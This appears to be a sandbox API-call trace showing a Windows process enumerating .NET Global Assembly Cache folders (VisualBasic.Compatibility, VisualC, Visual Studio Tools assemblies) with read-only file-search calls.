	[0088.649] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7a110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.649] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.649] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.649] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic.compatibility.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.650] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d5b820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d5b820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d5b820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d5b820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf2ef80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf2ef80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.650] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.650] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic.compatibility.data\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.650] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf2ef80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf2ef80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf2ef80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf2ef80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf2ef80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c728, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.650] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.650] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.651] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.651] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9346e5a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9346e5a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9346e5a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9346e5a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfed660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfed660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.651] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.651] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualc\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.651] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfed660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfed660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.651] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfed660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfed660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.652] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5cfed660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x76c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.652] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.652] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.652] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualc.stlclr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.652] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa47cc480, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa47cc480, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.652] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa47cc480, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa47cc480, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.652] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cdb21c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_20~1.0__")) returned 1
	[0088.652] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.652] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.653] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\v4.0_2.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualc.stlclr\\v4.0_2.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.653] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\v4.0_2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cdb21c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cdb21c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xc6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.653] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.653] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.hosting"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.653] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d3b780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6d3b780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6d3b780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.653] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d3b780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6d3b780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6d3b780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.654] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd349f040, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd349f040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd349f040, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.654] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.654] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.654] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.hosting\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.654] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd349f040, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd349f040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd349f040, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.654] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd349f040, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd349f040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd349f040, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.654] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd349f040, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd349f040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd349f040, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x27fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.654] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.654] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.655] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.655] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ab4020, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6ab4020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6ab4020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ab4020, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6ab4020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6ab4020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34c51a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34c51a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34c51a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
